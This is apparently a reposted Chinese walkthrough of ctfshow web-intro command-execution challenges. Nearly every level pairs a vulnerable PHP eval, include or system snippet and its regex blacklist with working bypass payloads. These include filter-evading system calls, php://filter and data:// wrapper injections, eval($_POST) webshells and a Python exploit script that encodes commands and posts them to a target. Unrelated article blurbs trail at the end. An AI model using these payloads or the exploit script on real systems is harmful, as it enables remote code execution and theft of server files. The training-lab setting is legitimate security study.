技术标签: ctfshow-web入门 大数据
目录
#flag在源代码里
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
1.?c=system("cp fla?.php 1.txt") 直接访问/1.txt
2.?c=system("tac fla*.php") // ?c=system("tac fla?.php")
3.?c=eval($_POST[1]); post 1=phpinfo();
测试成功后,使用蚁剑访问,即可查看flag
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤flag system php
1.?c=eval($_POST[1]); post 1=phpinfo();
测试成功后,使用蚁剑访问,即可查看flag
2.?c=`cp fla?.??? 1.txt`; 直接访问/1.txt
3.?c=`cp fla*.*** 1.txt`; 直接访问/1.txt
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤 flag system php cat sort shell 点 空格 单引号
1.?c=echo`tac%09fl*`;
2.?c=eval($_POST[1]); 1=phpinfo(); OR 1=system("tac flag.php");
测试成功后,使用蚁剑访问,即可查看flag
3.?c=eval($_GET[1]);&1=phpinfo(); OR 1=system("tac flag.php");
4.show_source(next(array_reverse(scandir(pos(localeconv()))))); //查看flag.php源代码
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤 flag system php cat sort shell 点 空格 单引号 ` echo 分号 左括号
1.?c=include%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php
返回base64加密flag.php,解码得flag
2.?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
返回base64加密flag.php,解码得flag
3.?c=include%0a$_POST[1]?%3E(post)1=php://filter/convert.base64-encode/resource=flag.php
返回base64加密flag.php,解码得flag
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤 flag system php cat sort shell 点 空格 单引号 ` echo 分号 左括号 双引号
1.?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
2.?c=include%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php
3.?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
4.?c=require%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php
返回base64加密flag.php,解码得flag
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤 flag system php cat sort shell 点 空格 单引号 ` echo 分号 左括号 双引号 冒号
1.?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
2.?c=include%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php
3.?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
4.?c=require%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php
返回base64加密flag.php,解码得flag
语言结构:echo print isset unset include require
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤 flag system php cat sort shell 点 空格 单引号 ` echo 分号 左括号 双引号 冒号 < =
1.?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
2.?c=include%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php
3.?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
4.?c=require%0a$_POST[1]?>(post)1=php://filter/convert.base64-encode/resource=flag.php
返回base64加密flag.php,解码得flag
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤 flag system php cat sort shell 点 空格 单引号 ` echo 分号 左括号 双引号 冒号 < = / 0-9
1.?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
2.?c=include%0a$_POST[a]?>(post)a=php://filter/convert.base64-encode/resource=flag.php
3.?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
4.?c=require%0a$_POST[a]?>(post)a=php://filter/convert.base64-encode/resource=flag.php
返回base64加密flag.php,解码得flag
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
1.?c=data://text/plain,<?php system("tac fla*")?>
或使用base64封装数据
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
2.?c=data://text/plain,<?php system("mv fla?.php 1.txt")?>
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
1.?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
2.?c=data://text/plain,<?= system("tac fla*");?>
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?c=data://text/plain,<?= system("tac fla*");?>
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
参考网站:ctfshow web入门 web41_yu22x的博客-程序员宅基地
rce_or.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则
本地运行脚本
php-cgi.exe -f [绝对路径]\rce_or.php
exp.py
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php D:\\phpstudy_pro\\WWW\\rce_fuzz.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open(r"D:\phpstudy_pro\WWW\rce.txt", "r")//填txt的文件位置
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
运行命令
python exp.py [url]
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
1.?c=tac flag.php%0a
2.?c=tac flag.php;ls
3.?c=cat flag.php;
4.?c=cat flag.php||
5.?c=cat flag.php%26
6.?c=cat flag.php%26%26
测试成功的结尾(换行) ①%0a ②; ③|| ④%26 ⑤%26%26
【参考文章】
commond > /dev/null 2>&1 命令详解_Jimmy1224的博客-程序员宅基地_2>&1 >/dev/null
2>/dev/null和>/dev/null 2>&1和2>&1>/dev/null的区别_林猛男的博客-程序员宅基地_>/dev/null
system($c." >/dev/null 2>&1");个人理解:
1.传入变量c到伪设备上,执行/dev/null
- 接受并丢弃所有输入; 不产生输出(总是在读取时返回文件结束指示
2.2>&1 表示将标准输出和标准错误输出都重定向到/dev/null中
【多种/dev/null区别】
2>/dev/null
意思就是把错误输出到“黑洞”
>/dev/null 2>&1
默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”
2>&1 >/dev/null
意思就是把错误输出2重定向到标准出书1,也就是屏幕,标准输出进了“黑洞”,也就是标准输出进了黑洞,错误输出打印到屏幕
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤 分号和cat
1.?c=tac flag.php%0a
2.?c=tac flag.php||
3.?c=tac flag.php%26
4.?c=tac flag.php%26%26
测试成功的结尾(换行) ①%0a ②|| ③%26 ④%26%26
#过滤cat 使用nl也可以正常运行
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤flag 使用 * ?进行匹配
1.?c=tac fla*%0a
2.?c=tac fla?????%0a
测试成功的结尾 ①%0a ②|| ③%26 ④%26%26
#过滤cat 使用nl也可以正常运行
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤空格 使用%09 ${IFS}$ $IFS替换
1.?c=tac${IFS}$fla*||
2.?c=echo$IFS`tac$IFS*`%0A
测试成功的结尾 ①%0a ②|| ③%26 ④%26%26
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤数字 $ *
1.?c=tac%09fla?????||
测试成功的结尾 ①%0a ②|| ③%26 ④%26%26
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤more less head sort tail
1.?c=tac%09fla?????||
2.?c=tac%09fla''g.php%0a
测试成功的结尾 ①%0a ②|| ③%26 ④%26%26
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤sed cut awk string od curl `
1.?c=tac%09fla?????||
2.?c=tac%09fla''g.php%0a
测试成功的结尾 ①%0a ②|| ③%26 ④%26%26
文章浏览阅读4k次。本文转自: http://www.360doc.com/content/09/0205/16/36491_2466152.shtml#sk_buff结构可能是linux网络代码中最重要的数据结构,它表示接收或发送数据包的包头信息。它在中定义,并包含很多成员变量供网络代码中的各子系统使用。这个结构在linux内核的发展过程中改动过很多次,或者是增加新的选项,或者是重新组织已存在的_skbuf
文章浏览阅读1.2k次。/1 前言/平时我们要下载图片,要要一个一个点击下载是不是觉得很麻烦?那有没有更加简便的方法呢?答案是肯定的,这里我们以天堂网为例,批量下载天堂网的图片。/2 项目准备工作/首先 我们第一步我们要安装一个pycham的软件。可以参考这篇文章:Python环境搭建—安利Python小白的Python和Pycharm安装详细教程。天堂网的网址:https://www.ivsky.com/bizhi/1...
文章浏览阅读4.9k次。各种M2防假人脚本大集合BLUE的M2防假人攻击脚本:首先先在D:\MirServer\Mir200\Envir\QuestDiary\数据文件 目录下建一个“激活.txt”文本文挡其次在D:\MirServer\Mir200\Envir\MapQuest_def 目录下的QManage.txt脚本里加上如下一段[@Login]#ifchecknamelist ..\QuestDiary\数据文件..._传奇防挂机流星验证
文章浏览阅读2.6k次,点赞3次,收藏15次。原文链接:https://mp.weixin.qq.com/s/9uTG1QyjOzIfeMuvioNkWw 工程,是日常生活和工作时经常使用的一个词语,例如土木工程、电子工程、机械工程、系统工程,以及法制工程、希望工程、菜篮子工程;也有三峡工程、载人航天工程、探月工程等;还有“创新是一项系统工程”“改革是一项系统工程”等说法。这个词语本身并没有令人费解的地方,但在不同的语境中,却体现出迥..._为什么要强调系统工程
文章浏览阅读4.1k次。TensorFlow里,shape=(?, 120)里的问号是怎么回事呢125self.cos_sim(1024,51)Tensor("cosine-imilarity-layer/mul_2:0",shape=(1024,51),dtype=float32)126type(self.query_batch):<class'tensorflow...._tf shape为什么有问号
文章浏览阅读5.5k次,点赞2次,收藏10次。目录前言一、注册声卡顺序二、SPK喇叭路由配置三、tinyalsa调试工具前言瑞芯微RK809是一种复杂的功率管理集成电路(PMIC)集成编解码器,适用于由外部电源供电的多核系统应用;同时它也集成了音频编解码器,这样在硬件设计上可以直接使用RK809 codec功能,不必再外挂个其他codec芯片;RK809 codec不仅支持SPK,还支持耳机,MIC功能;一、注册声卡顺序设备树dts里面原厂帮我们配置好了rk809_sound,我们直接..._rk3568 喇叭左右声道问题
文章浏览阅读4.9k次。人工智能城市和智慧城市Smart cities aren’t just sci-fi or cyberpunk dreams, but an actual solution based on Artificial Intelligence and the Internet of Things. But the question is, what is the mechanism that put ..._intelligent edge computing based on machine learning for smart city
文章浏览阅读1.2w次。一、基本样式(1)内联样式 在组件里面定义样式 小字号内联样式(2)外联样式 在组件里指向外面的样式 大字号外联样式(3)样式具有覆盖性 如果定义相同属性的样式,后面会覆盖_reactnative内联样式怎么用
文章浏览阅读963次。驱动下载指南_串口转usb驱动
文章浏览阅读139次。// folder : /xxxxxx // filename : xxxx0000.yyy u8 file_api_delete_file(const char *path, const char *folder, const char *filename, u32 *file_index)_ac6965a电路图
文章浏览阅读2.2k次,点赞2次,收藏10次。如何去看开源项目_开源项目哪里找
文章浏览阅读8.3k次,点赞8次,收藏34次。硬件时间,也被称为实时时钟(RTC),是指计算机主板上的一个独立于操作系统的设备,它在电源关闭甚至断电情况下也能保持运行。其功能是记录当前的日期和时间。系统时间是计算机内部使用的时间,它通常在启动时从RTC设置,然后由系统时钟进行跟踪。系统时钟是操作系统内核的一部分,可以以毫秒或纳秒级别提供精确时间。本地时间是系统时间经过时区转换后的时间。时区是根据地理位置确定的,全球分为24个时区,每个时区大约代表15度的经度。例如,北京时间是UTC+8,而伦敦时间是UTC+0。时区是为了方便统一时间而划分的地理区域。_rtc time